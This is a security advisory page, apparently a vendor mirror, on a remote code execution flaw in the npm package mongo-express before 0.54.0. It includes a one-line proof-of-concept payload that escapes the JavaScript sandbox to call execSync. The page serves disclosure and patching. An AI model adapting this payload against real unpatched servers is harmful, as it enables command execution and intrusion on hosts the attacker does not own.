GHSA-h47j-hc6x-h3qq
CRITICALRemote Code Execution Vulnerability in NPM mongo-express
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
mongo-expressReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
Impact
Remote code execution on the host machine by any authenticated user.
Proof Of Concept
Launching mongo-express on a Mac, pasting the following into the "create index" field will pop open the Mac calculator:
this.constructor.constructor("return process")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator')
Patches
Users should upgrade to version 0.54.0
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
For more information
If you have any questions or comments about this advisory:
- Open an issue in example link to repo
- Email us at example email address
Thanks
@JLLeitschuh for finding and reporting this vulnerability
This vulnerability has been exploited in the wild.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | mongo-express | all versions | 0.54.0 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
mongo-express before 0.54.0 is vulnerable to Remote Code Execution via e…
mongo-express before 0.54.0 is vulnerable to Remote Code Execution via e…
mongo-express before 0.54.0 is vulnerable to Remote Code Execution via e…
mongo-express before 0.54.0 is vulnerable to Remote Code Execution via e…
mongo-express before 0.54.0 is vulnerable to Remote Code Execution via e…
Frequently Asked Questions
Is GHSA-h47j-hc6x-h3qq in your stack?
O3 detects GHSA-h47j-hc6x-h3qq across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.